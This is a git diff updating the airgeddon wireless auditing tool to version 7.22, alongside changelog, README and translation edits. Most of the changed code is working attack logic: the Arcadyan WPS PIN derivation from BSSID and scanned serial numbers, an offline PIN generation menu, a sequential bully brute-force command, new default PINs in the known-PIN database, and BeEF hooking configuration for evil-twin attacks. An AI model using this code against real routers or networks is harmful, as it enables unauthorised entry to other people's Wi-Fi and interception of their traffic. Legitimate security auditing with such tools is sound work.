diff --git a/CHANGELOG.md b/CHANGELOG.md index 66a0cb896..9a891d5dc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,10 @@ +### 7.22 + - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 + - Arcadyan WPS PIN generation algorithm integrated + - Tested compatibility with Kali 2017.2 and Parrot 3.8 + - WPS Bully bruteforce attack modified to use --sequential (-S) argument + - Added WPS offline PIN generation and database menu option + ### 7.21 - Italian language translation added (Thank you to "salu90") - Tested compatibility with Parrot 3.7, Fedora 26 and Wifislax 64-1.1 @@ -110,8 +117,8 @@ ### 5.1 - Integrated online PIN database for "known WPS PINs attack" (reaver and bully) - - Zhao Chunsheng algorithm integrated (computepin) - - Stefan Viehböck algorithm integrated (easybox) + - Zhao Chunsheng WPS PIN generation algorithm integrated (ComputePIN) + - Stefan Viehböck WPS PIN generation algorithm integrated (EasyBox) - Some language strings changed - Fixed bug showing selected charset for hashcat v3.0 on bruteforce offline decrypt attack @@ -311,7 +318,7 @@ - Some language strings changed ### 2.31 - - French language translation added (Thank you to "Kcdtv") + - French language translation added (Thank you to "kcdtv") - Only one network autoselect bug fixed ### 2.3 diff --git a/README.md b/README.md index 67d443b9d..f1c1a3a70 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present - *I. Content & Features* - [Home] - [Features] + - [Screenshots] - *II. Requirements* @@ -51,6 +52,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Home]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki [Features]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Features +[Screenshots]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Screenshots [Requirements]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Requirements [Compatibility]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Compatibility [Essential Tools]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Essential%20Tools @@ -74,7 +76,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-7.21-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-7.22-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=f9ff5a "Docker rules!" diff --git a/airgeddon.sh b/airgeddon.sh index 9e523df33..722171569 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,8 +2,8 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20170916 -#Version......: 7.21 +#Date.........: 20171004 +#Version......: 7.22 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -110,8 +110,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="7.21" -language_strings_expected_version="7.21-1" +airgeddon_version="7.22" +language_strings_expected_version="7.22-1" standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" osversionfile_dir="/etc/" @@ -201,6 +201,7 @@ sslstrip_port="10000" bettercap_proxy_port="8080" bettercap_dns_port="5300" minimum_bettercap_advanced_options="1.5.9" +minimum_bettercap_fixed_beef_iptables_issue="1.6.2" sslstrip_file="ag.sslstrip.log" ettercap_file="ag.ettercap.log" bettercap_file="ag.bettercap.log" @@ -280,7 +281,7 @@ declare option_hints=(445 250 448 477) declare evil_twin_hints=(254 258 264 269 309 328 400) declare evil_twin_dos_hints=(267 268) declare beef_hints=(408) -declare wps_hints=(342 343 344 356 369 390) +declare wps_hints=(342 343 344 356 369 390 490) declare wep_hints=(431 429 428 432 433) #Charset vars @@ -859,7 +860,46 @@ function set_wps_mac_parameters() { four_wpsbssid_last_digits_clean=${four_wpsbssid_last_digits//:} } -#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 1 +#Check if wash has json option +function check_json_option_on_wash() { + + debug_print + + wash 2>&1 | grep "\-j" > /dev/null + return $? +} + +#Perform wash scan using -j (json) option to gather needed data +function wash_json_scan() { + + debug_print + + tmpfiles_toclean=1 + rm -rf "${tmpdir}wps_json_data.txt" > /dev/null 2>&1 + rm -rf "${tmpdir}wps_fifo" > /dev/null 2>&1 + + mkfifo "${tmpdir}wps_fifo" + timeout -s SIGTERM 240 wash -i "${interface}" --scan -n 100 -j 2> /dev/null > "${tmpdir}wps_fifo" & + wash_json_pid=$! + tee "${tmpdir}wps_json_data.txt"< <(cat < "${tmpdir}wps_fifo") > /dev/null 2>&1 & + + while true; do + sleep 5 + wash_json_capture_alive=$(ps uax | awk '{print $2}' | grep -E "^${wash_json_pid}$" 2> /dev/null) + if [ -z "${wash_json_capture_alive}" ]; then + break + fi + + if grep "${1}" "${tmpdir}wps_json_data.txt" > /dev/null; then + serial=$(grep "${1}" "${tmpdir}wps_json_data.txt" | awk -F '"wps_serial" : "' '{print $2}' | awk -F '"' '{print $1}' | sed 's/.*\(....\)/\1/' 2> /dev/null) + kill "${wash_json_capture_alive}" &> /dev/null + wait "${wash_json_capture_alive}" 2>/dev/null + break + fi + done +} + +#Calculate pin based on Zhao Chunsheng algorithm (ComputePIN), step 1 function calculate_computepin_algorithm_step1() { debug_print @@ -868,7 +908,7 @@ function calculate_computepin_algorithm_step1() { computepin_pin=$((hex_to_dec % 10000000)) } -#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 2 +#Calculate pin based on Zhao Chunsheng algorithm (ComputePIN), step 2 function calculate_computepin_algorithm_step2() { debug_print @@ -876,7 +916,7 @@ function calculate_computepin_algorithm_step2() { computepin_pin=$(printf '%08d\n' $((10#${computepin_pin} * 10 + checksum_digit))) } -#Calculate pin based on Stefan Viehböck algorithm (easybox) +#Calculate pin based on Stefan Viehböck algorithm (EasyBox) function calculate_easybox_algorithm() { debug_print @@ -900,6 +940,33 @@ function calculate_easybox_algorithm() { easybox_pin=$(printf '%08d\n' "$((0x$X1$X2$Y1$Y2$Z1$Z2$X3))" | awk '{for(i=length; i!=0; i--) x=x substr($0, i, 1);} END {print x}' | cut -c -7 | awk '{for(i=length; i!=0; i--) x=x substr($0, i, 1);} END {print x}') } +#Calculate pin based on Arcadyan algorithm +function calculate_arcadyan_algorithm() { + + debug_print + + local wan="" + if [ "${four_wpsbssid_last_digits_clean}" = "0000" ]; then + wan="fffe" + elif [ "${four_wpsbssid_last_digits_clean}" = "0001" ]; then + wan="ffff" + else + wan=$(printf "%04x" $((0x${four_wpsbssid_last_digits_clean} - 2))) + fi + + K1=$(printf "%X\n" $(($((0x${serial:0:1} + 0x${serial:1:1} + 0x${wan:2:1} + 0x${wan:3:1})) % 16))) + K2=$(printf "%X\n" $(($((0x${serial:2:1} + 0x${serial:3:1} + 0x${wan:0:1} + 0x${wan:1:1})) % 16))) + D1=$(printf "%X\n" $((0x$K1 ^ 0x${serial:3:1}))) + D2=$(printf "%X\n" $((0x$K1 ^ 0x${serial:2:1}))) + D3=$(printf "%X\n" $((0x$K2 ^ 0x${wan:1:1}))) + D4=$(printf "%X\n" $((0x$K2 ^ 0x${wan:2:1}))) + D5=$(printf "%X\n" $((0x${serial:3:1} ^ 0x${wan:2:1}))) + D6=$(printf "%X\n" $((0x${serial:2:1} ^ 0x${wan:3:1}))) + D7=$(printf "%X\n" $((0x$K1 ^ 0x${serial:1:1}))) + + arcadyan_pin=$(printf '%07d\n' $(($(printf '%d\n' "0x$D1$D2$D3$D4$D5$D6$D7") % 10000000))) +} + #Calculate the last digit on pin following the checksum rule function pin_checksum_rule() { @@ -930,18 +997,84 @@ function check_and_set_common_algorithms() { language_strings "${language}" 388 "blue" declare -g calculated_pins=("${wps_default_generic_pin}") - calculate_computepin_algorithm_step1 - pin_checksum_rule "${computepin_pin}" - calculate_computepin_algorithm_step2 - calculated_pins+=("${computepin_pin}") + if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "ComputePIN"; then + calculate_computepin_algorithm_step1 + pin_checksum_rule "${computepin_pin}" + calculate_computepin_algorithm_step2 + calculated_pins+=("${computepin_pin}") + fill_wps_data_array "${wps_bssid}" "ComputePIN" "${computepin_pin}" + else + calculated_pins+=("${wps_data_array["${wps_bssid}",'ComputePIN']}") + fi - calculate_easybox_algorithm - pin_checksum_rule "${easybox_pin}" - easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) - calculated_pins+=("${easybox_pin}") + if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "EasyBox"; then + calculate_easybox_algorithm + pin_checksum_rule "${easybox_pin}" + easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) + calculated_pins+=("${easybox_pin}") + fill_wps_data_array "${wps_bssid}" "EasyBox" "${easybox_pin}" + else + calculated_pins+=("${wps_data_array["${wps_bssid}",'EasyBox']}") + fi - if integrate_algorithms_pins; then + if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "Arcadyan"; then + + able_to_check_json_option_on_wash=0 + if [ "${wps_attack}" = "pindb_bully" ]; then + if hash wash 2> /dev/null; then + able_to_check_json_option_on_wash=1 + else + echo + language_strings "${language}" 492 "yellow" + echo + fi + elif [ "${wps_attack}" = "pindb_reaver" ]; then + able_to_check_json_option_on_wash=1 + fi + + if [ "${able_to_check_json_option_on_wash}" -eq 1 ]; then + if check_json_option_on_wash; then + ask_yesno 485 "no" + if [ "${yesno}" = "y" ]; then + echo + language_strings "${language}" 489 "blue" + + serial="" + wash_json_scan "${wps_bssid}" + + if [ -n "${serial}" ]; then + if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then + calculate_arcadyan_algorithm + pin_checksum_rule "${arcadyan_pin}" + arcadyan_pin="${arcadyan_pin}${checksum_digit}" + calculated_pins=("${arcadyan_pin}" "${calculated_pins[@]}") + fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}" + echo + language_strings "${language}" 487 "yellow" + else + echo + language_strings "${language}" 491 "yellow" + fi + echo + else + echo + language_strings "${language}" 488 "yellow" + echo + fi + fi + else + echo + language_strings "${language}" 486 "yellow" + fi + fi + else echo + calculated_pins=("${wps_data_array["${wps_bssid}",'Arcadyan']}" "${calculated_pins[@]}") + language_strings "${language}" 493 "yellow" + echo + fi + + if integrate_algorithms_pins; then language_strings "${language}" 389 "yellow" fi } @@ -952,17 +1085,17 @@ function integrate_algorithms_pins() { debug_print some_calculated_pin_included=0 - for pin in "${calculated_pins[@]}"; do + for ((idx=${#calculated_pins[@]}-1; idx>=0; idx--)) ; do this_pin_already_included=0 for item in "${pins_found[@]}"; do - if [ "${item}" = "${pin}" ]; then + if [ "${item}" = "${calculated_pins[idx]}" ]; then this_pin_already_included=1 break fi done if [ ${this_pin_already_included} -eq 0 ]; then - pins_found+=(${pin}) + pins_found=("${calculated_pins[idx]}" "${pins_found[@]}") counter_pins_found=$((counter_pins_found + 1)) some_calculated_pin_included=1 fi @@ -971,6 +1104,7 @@ function integrate_algorithms_pins() { if [ "${some_calculated_pin_included}" -eq 1 ]; then return 0 fi + return 1 } @@ -989,6 +1123,7 @@ function search_in_pin_database() { for item2 in "${arrpins[@]}"; do counter_pins_found=$((counter_pins_found+1)) pins_found+=(${item2}) + fill_wps_data_array "${wps_bssid}" "Database" "${item2}" done break fi @@ -2851,30 +2986,34 @@ function wps_attacks_parameters() { debug_print - if ! check_monitor_enabled; then - return 1 - fi + if [ "${1}" != "no_monitor_check" ]; then + if ! check_monitor_enabled; then + return 1 + fi - echo - language_strings "${language}" 34 "yellow" + echo + language_strings "${language}" 34 "yellow" + fi if ! ask_bssid "wps"; then return 1 fi ask_channel "wps" - case ${wps_attack} in - "custompin_bully"|"custompin_reaver") - ask_custom_pin - ask_wps_timeout "standard" - ;; - "pixiedust_bully"|"pixiedust_reaver") - ask_wps_timeout "pixiedust" - ;; - "pindb_bully"|"pindb_reaver") - ask_wps_timeout "standard" - ;; - esac + if [ "${1}" != "no_monitor_check" ]; then + case ${wps_attack} in + "custompin_bully"|"custompin_reaver") + ask_custom_pin + ask_wps_timeout "standard" + ;; + "pixiedust_bully"|"pixiedust_reaver") + ask_wps_timeout "pixiedust" + ;; + "pindb_bully"|"pindb_reaver") + ask_wps_timeout "standard" + ;; + esac + fi return 0 } @@ -3199,6 +3338,10 @@ function initialize_menu_and_print_selections() { print_iface_selected print_all_target_vars_wps ;; + "offline_pin_generation_menu") + print_iface_selected + print_all_target_vars_wps + ;; "wep_attacks_menu") print_iface_selected print_all_target_vars @@ -3400,7 +3543,7 @@ function print_hint() { randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[evil_twin_dos_hints|${randomhint}]} ;; - "wps_attacks_menu") + "wps_attacks_menu"|"offline_pin_generation_menu") store_array hints wps_hints "${wps_hints[@]}" hintlength=${#wps_hints[@]} ((hintlength--)) @@ -3719,6 +3862,8 @@ function wps_attacks_menu() { language_strings "${language}" 348 bully_attacks_dependencies[@] language_strings "${language}" 360 reaver_attacks_dependencies[@] print_simple_separator + language_strings "${language}" 494 + print_simple_separator language_strings "${language}" 361 print_hint ${current_menu} @@ -3887,6 +4032,9 @@ function wps_attacks_menu() { fi ;; 13) + offline_pin_generation_menu + ;; + 14) return ;; *) @@ -3897,6 +4045,187 @@ function wps_attacks_menu() { wps_attacks_menu } +#Offline pin generation menu +function offline_pin_generation_menu() { + + debug_print + + clear + language_strings "${language}" 495 "title" + current_menu="offline_pin_generation_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + language_strings "${language}" 49 wash_scan_dependencies[@] + language_strings "${language}" 498 "separator" + language_strings "${language}" 496 + echo "6. ComputePIN" + echo "7. EasyBox" + echo "8. Arcadyan" + print_simple_separator + language_strings "${language}" 497 + print_hint ${current_menu} + + read -r offline_pin_generation_option + case ${offline_pin_generation_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + if contains_element "${wps_option}" "${forbidden_options[@]}"; then + forbidden_menu_option + else + explore_for_wps_targets_option + fi + ;; + 5) + db_error=0 + if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + if check_pins_database_file; then + echo + language_strings "${language}" 373 "blue" + else + echo + language_strings "${language}" 372 "red" + db_error=1 + fi + else + echo + language_strings "${language}" 379 "blue" + fi + language_strings "${language}" 115 "read" + + if [ "${db_error}" -eq 0 ]; then + if wps_attacks_parameters "no_monitor_check"; then + wps_pin_database_prerequisites "no_attack" + if [ ${bssid_found_in_db} -eq 1 ]; then + echo + language_strings "${language}" 499 "blue" + echo "${wps_data_array["${wps_bssid}",'Database']}" + echo + fi + language_strings "${language}" 115 "read" + fi + fi + ;; + 6) + if wps_attacks_parameters "no_monitor_check"; then + if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "ComputePIN"; then + set_wps_mac_parameters + calculate_computepin_algorithm_step1 + pin_checksum_rule "${computepin_pin}" + calculate_computepin_algorithm_step2 + fill_wps_data_array "${wps_bssid}" "ComputePIN" "${computepin_pin}" + fi + + echo + language_strings "${language}" 500 "blue" + echo "${wps_data_array["${wps_bssid}",'ComputePIN']}" + echo + language_strings "${language}" 115 "read" + fi + ;; + 7) + if wps_attacks_parameters "no_monitor_check"; then + if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "EasyBox"; then + set_wps_mac_parameters + calculate_easybox_algorithm + pin_checksum_rule "${easybox_pin}" + easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) + fill_wps_data_array "${wps_bssid}" "EasyBox" "${easybox_pin}" + fi + + echo + language_strings "${language}" 501 "blue" + echo "${wps_data_array["${wps_bssid}",'EasyBox']}" + echo + language_strings "${language}" 115 "read" + fi + ;; + 8) + if wps_attacks_parameters "no_monitor_check"; then + offline_arcadyan_pin_can_be_shown=0 + if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "Arcadyan"; then + + ask_yesno 504 "yes" + if [ "${yesno}" = "y" ]; then + + if check_monitor_enabled; then + able_to_check_json_option_on_wash=0 + if hash wash 2> /dev/null; then + able_to_check_json_option_on_wash=1 + if [ "${able_to_check_json_option_on_wash}" -eq 1 ]; then + if check_json_option_on_wash; then + + echo + language_strings "${language}" 489 "blue" + + serial="" + wash_json_scan "${wps_bssid}" + if [ -n "${serial}" ]; then + if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then + set_wps_mac_parameters + calculate_arcadyan_algorithm + pin_checksum_rule "${arcadyan_pin}" + arcadyan_pin="${arcadyan_pin}${checksum_digit}" + fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}" + offline_arcadyan_pin_can_be_shown=1 + else + echo + language_strings "${language}" 491 "yellow" + fi + echo + else + echo + language_strings "${language}" 488 "red" + language_strings "${language}" 115 "read" + fi + fi + fi + else + echo + language_strings "${language}" 486 "red" + language_strings "${language}" 115 "read" + fi + fi + fi + else + echo + language_strings "${language}" 503 "yellow" + language_strings "${language}" 115 "read" + offline_arcadyan_pin_can_be_shown=1 + fi + + if [ "${offline_arcadyan_pin_can_be_shown}" -eq 1 ]; then + echo + language_strings "${language}" 502 "blue" + echo "${wps_data_array["${wps_bssid}",'Arcadyan']}" + echo + language_strings "${language}" 115 "read" + fi + fi + ;; + 9) + return + ;; + *) + invalid_menu_option + ;; + esac + + offline_pin_generation_menu +} + #WEP attacks menu function wep_attacks_menu() { @@ -5333,7 +5662,7 @@ function set_wps_attack_script() { attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -d -v ${bully_verbosity}" ;; "bruteforce") - attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity}" + attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -S -L -F -B -v ${bully_verbosity}" ;; esac fi @@ -6226,6 +6555,12 @@ function set_beef_config() { beef_db_path="${beef_db}" fi + if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_fixed_beef_iptables_issue}"; then + beef_panel_restriction=" permitted_ui_subnet: \"127.0.0.1/32\"" + else + beef_panel_restriction=" permitted_ui_subnet: \"0.0.0.0/0\"" + fi + { echo -e "beef:" echo -e " version: 'airgeddon integrated'" @@ -6234,10 +6569,7 @@ function set_beef_config() { echo -e " crypto_default_value_length: 80" echo -e " restrictions:" echo -e " permitted_hooking_subnet: \"${et_ip_range}/24\"" - echo -e " permitted_ui_subnet: \"0.0.0.0/0\"" - #TODO: This should be permitted_ui_subnet: "127.0.0.1/32" but is not possible to use it with bettercap's proxy because of a bug - #https://github.com/evilsocket/bettercap/issues/356 - #https://github.com/beefproject/beef/issues/1337 + echo -e "${beef_panel_restriction}" echo -e " http:" echo -e " debug: false" echo -e " host: \"0.0.0.0\"" @@ -7660,6 +7992,41 @@ function set_wash_parameterization() { wash_ifaces_already_set[${interface}]=${fcs} } +#Check if a type exists in the wps data array +function check_if_type_exists_in_wps_data_array() { + + debug_print + + [[ -n "${wps_data_array["${1}","${2}"]:+not set}" ]] +} + +#Check if a pin exists in the wps data array +function check_if_pin_exists_in_wps_data_array() { + + debug_print + + [[ "${wps_data_array["${1}","${2}"]}" =~ (^| )"${3}"( |$) ]] +} + +#Fill data into wps data array +function fill_wps_data_array() { + + debug_print + + if ! check_if_pin_exists_in_wps_data_array "${1}" "${2}" "${3}"; then + + if [ "${2}" != "Database" ]; then + wps_data_array["${1}","${2}"]="${3}" + else + if [ "${wps_data_array["${1}","${2}"]}" = "" ]; then + wps_data_array["${1}","${2}"]="${3}" + else + wps_data_array["${1}","${2}"]="${wps_data_array["${1}","${2}"]} ${3}" + fi + fi + fi +} + #Manage and validate the prerequisites for wps pin database attacks function wps_pin_database_prerequisites() { @@ -7684,10 +8051,12 @@ function wps_pin_database_prerequisites() { language_strings "${language}" 387 "yellow" fi - check_and_set_common_algorithms - echo - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" + if [ "${1}" != "no_attack" ]; then + check_and_set_common_algorithms + echo + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" + fi } #Manage and validate the prerequisites for Evil Twin attacks @@ -9202,6 +9571,7 @@ function initialize_script_settings() { http_proxy_set=0 hccapx_needed=0 xterm_ok=1 + declare -gA wps_data_array } #Detect if there is a working X window system diff --git a/binaries/arch/airgeddon-git-7.22-1-any.pkg.tar.xz b/binaries/arch/airgeddon-git-7.22-1-any.pkg.tar.xz new file mode 100644 index 000000000..26af71360 Binary files /dev/null and b/binaries/arch/airgeddon-git-7.22-1-any.pkg.tar.xz differ diff --git a/binaries/arch/airgeddon-git-7.21-1-any.pkg.tar.xz b/binaries/arch/legacy/airgeddon-git-7.21-1-any.pkg.tar.xz similarity index 100% rename from binaries/arch/airgeddon-git-7.21-1-any.pkg.tar.xz rename to binaries/arch/legacy/airgeddon-git-7.21-1-any.pkg.tar.xz diff --git a/binaries/kali/airgeddon_7.22-1_all.deb b/binaries/kali/airgeddon_7.22-1_all.deb new file mode 100644 index 000000000..5524ae79c Binary files /dev/null and b/binaries/kali/airgeddon_7.22-1_all.deb differ diff --git a/binaries/kali/airgeddon_7.21-1_all.deb b/binaries/kali/legacy/airgeddon_7.21-1_all.deb similarity index 100% rename from binaries/kali/airgeddon_7.21-1_all.deb rename to binaries/kali/legacy/airgeddon_7.21-1_all.deb diff --git a/imgs/wiki/airgeddon_scrs1.png b/imgs/wiki/airgeddon_scrs1.png new file mode 100644 index 000000000..c47f18706 Binary files /dev/null and b/imgs/wiki/airgeddon_scrs1.png differ diff --git a/imgs/wiki/airgeddon_scrs2.png b/imgs/wiki/airgeddon_scrs2.png new file mode 100644 index 000000000..0432e92aa Binary files /dev/null and b/imgs/wiki/airgeddon_scrs2.png differ diff --git a/imgs/wiki/airgeddon_scrs3.png b/imgs/wiki/airgeddon_scrs3.png new file mode 100644 index 000000000..ed2ea7f5f Binary files /dev/null and b/imgs/wiki/airgeddon_scrs3.png differ diff --git a/imgs/wiki/airgeddon_scrs4.png b/imgs/wiki/airgeddon_scrs4.png new file mode 100644 index 000000000..aea88e36d Binary files /dev/null and b/imgs/wiki/airgeddon_scrs4.png differ diff --git a/imgs/wiki/airgeddon_scrs5.png b/imgs/wiki/airgeddon_scrs5.png new file mode 100644 index 000000000..482906f2e Binary files /dev/null and b/imgs/wiki/airgeddon_scrs5.png differ diff --git a/imgs/wiki/airgeddon_scrs6.png b/imgs/wiki/airgeddon_scrs6.png new file mode 100644 index 000000000..c6e8bc9e9 Binary files /dev/null and b/imgs/wiki/airgeddon_scrs6.png differ diff --git a/known_pins.db b/known_pins.db index 704a915b8..1fa204ef0 100644 --- a/known_pins.db +++ b/known_pins.db @@ -2,7 +2,7 @@ #Title........: known_pins.db #Description..: This is a WPS PIN database for routers that generate generic passwords. #Author.......: v1s1t0r -#Date.........: 20170806 +#Date.........: 20170918 #Bash Version.: 4.2 or later #Set PIN database. Keys are the first 6 bssid digits and are ordered @@ -48,6 +48,7 @@ function set_pin_database() { PINDB["00223F"]="48247818" PINDB["00226B"]="59900887" PINDB["002275"]="12885381 25751118 14989346 53704825 34922453 29221790" + PINDB["002293"]="92854048 92937208" PINDB["0022F7"]="60530004 25853209" PINDB["002369"]="51348014" PINDB["0023CD"]="54080812" @@ -118,6 +119,7 @@ function set_pin_database() { PINDB["54E6FC"]="53525659 66394662 41942826 93464239 96517062" PINDB["586D8F"]="47158382 69382161 67387953 37110802" PINDB["589835"]="36232925 78568242 56217391 13128562 53890894" + PINDB["5A8E85"]="16259553" PINDB["5C338E"]="00764025 03015162 04581277 11765592 15986511 30414129 30999022 33685984 39657053 53842763 60387400 73968597 78614062 78963641 82848439 85776104 91345080 12345670" PINDB["5C353B"]="64874487 95755212 64874487 58945537 79082020 12345670" PINDB["5C571A"]="46577450" @@ -151,6 +153,7 @@ function set_pin_database() { PINDB["7C4FB5"]="75332662 51394554 35642596 72688656 13245670" PINDB["7CD34C"]="43944552 12345670" PINDB["801F02"]="12345670 26713366" + PINDB["803F5D"]="85173057" PINDB["80B686"]="38484636" PINDB["841B5E"]="78100053 21120374 48062435 06042547" PINDB["84C9B2"]="84257123 12345670 27786598" @@ -164,8 +167,9 @@ function set_pin_database() { PINDB["944452"]="15310828 29874590 08318725 17579957 26023809 93645348 08983954 88154473 73532866 40011851" PINDB["94FEF4"]="43944552" PINDB["988B5D"]="12345670" - PINDB["9897D1"]="07266881" + PINDB["9897D1"]="07266881 10705513 85713642 29342273" PINDB["98FC11"]="21421112" + PINDB["9CD24B"]="73185321 68109165" PINDB["A00BBA"]="00000000" PINDB["A02187"]="92442559" PINDB["A021B7"]="39149138 41252147 80324560 82581507 25815078 22813503 11352464 47624313 92442559 81121496 43454044 86559256 33440279 15880208 53134424 72218013 01874341 43135479 51920104 26515274 84361455 71202358 12345679" @@ -189,6 +193,7 @@ function set_pin_database() { PINDB["C8D3A3"]="21464065 20172527 17084215 12345670" PINDB["C8D5FE"]="12345678" PINDB["CC5D4E"]="51565220 48919586 52755248" + PINDB["CC7B35"]="17481960 17503488" PINDB["CC96A0"]="51191535" PINDB["CCB255"]="97354833" PINDB["D0AEEC"]="12263813 36831678 43419012 46275288 49570724 58441640 67791088 76871559 63220926 23970472 04325093 35041054 31433273 97855996 11248729 52217388 59432265 77485625 06235307 78597235" @@ -199,6 +204,7 @@ function set_pin_database() { PINDB["D8B6B7"]="49385052 12715657 66131533 96567111 18811728" PINDB["DC0B1A"]="19756967 73767053 16702738 16538061 88202907 18355604 13409708 21158766 43297917" PINDB["DC537C"]="95755212 64874487 58945537 79082020 12345670" + PINDB["E04136"]="29342273 18297492 10705313" PINDB["E0469A"]="30022645 19004938 75401139 47386914" PINDB["E08FEC"]="00235211" PINDB["E09115"]="42764199" diff --git a/language_strings.sh b/language_strings.sh index 1ab037cfb..fd5fa01bf 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20170909 +#Date.........: 20171008 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="7.21-1" + language_strings_version="7.22-1" } #Set different language text strings @@ -457,7 +457,7 @@ function language_strings() { arr["PORTUGUESE",3]="Selecione uma rede como objetivo :" arr["RUSSIAN",3]="Выбор целевой сети :" arr["GREEK",3]="Διαλέξτε δίκτυο :" - arr["ITALIAN",3]="Scegliere una rete come obbiettivo :" + arr["ITALIAN",3]="Scegliere una rete come obiettivo :" arr["ENGLISH",4]="Press [Enter] key to start attack..." arr["SPANISH",4]="Pulse la tecla [Enter] para comenzar el ataque..." @@ -1894,7 +1894,7 @@ function language_strings() { arr["SPANISH",163]="Cuando airgeddon solicita que introduzcas una ruta a un fichero ya sea para utilizar un diccionario, un Handshake o cualquier otra cosa, ¿sabías que puedes arrastrar y soltar el fichero sobre la ventana de airgeddon? Así no tendrás que escribir la ruta manualmente" arr["FRENCH",163]="Quand airgeddon demande d'entrer un chemin d'accès vers un fichier soit pour utiliser un dictionnaire, un Handshake ou autre chose, saviez-vous que vous pouvez faire glisser le fichier sur la fenêtre airgeddon? Donc vous n'avez pas à taper la route manuellement" arr["CATALAN",163]="Quan airgeddon sol·licita que introdueixis una ruta a un fitxer ja sigui per utilitzar un diccionari, un Handshake o qualsevol altra cosa, ¿saps que pots arrossegar i deixar anar el fitxer sobre la finestra de airgeddon? Així no hauràs d'escriure la ruta manualment" - arr["PORTUGUESE",163]="Quando a airgeddon solicita que você insira o caminho de um dicionário, um Handshake ou qualquer outra coisa, você sabia que pode arrastar o arquivo para janela do airgeddon? Assim você não precisa digitar o caminho manualmente" + arr["PORTUGUESE",163]="Quando a airgeddon solicita que você insira o caminho de: um dicionário, um Handshake ou qualquer outra coisa, você sabia que pode arrastar o arquivo para janela do airgeddon? Assim você não precisa digitar o caminho manualmente" arr["RUSSIAN",163]="Когда airgeddon просит вас ввести путь до файла, будь то словарь, рукопожатие или что-то ещё, знаете ли вы, что можно захватить этот файл мышкой, перетащить и бросить этот файл прямо в окно airgeddon? Таким образом вам не придётся вводить путь до файла вручную" arr["GREEK",163]="Γνωρίζατε ότι μπορείτε να εισάγετε μονοπάτι για κάποιο αρχείο είτε για να χρησιμοποιήσετε λεξικό, αρχείο Χειραψίας ή οτιδήποτε άλλο, κάνοντας Drag & Drop το αρχείο αυτό στο παράθυρο του airgeddon; Με αυτόν τον τρόπο δεν χρειάζεται να πλεικτρολογείτε το μονοπάτι χειροκίνητα" arr["ITALIAN",163]="Quando airgeddon chiede di introdurre il percorso di un file per utilizzare un dizionario, un Handshake o qualsiasi altra cosa, sapevi che puoi trascinare e rilasciare il file sulla finestra di airgeddon? Cosí non dovrai digitare manualmente il percorso" @@ -3010,7 +3010,7 @@ function language_strings() { arr["SPANISH",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." arr["FRENCH",287]="Le script va vérifier que vous aillez accès à internet. Soyez patients s'il vous 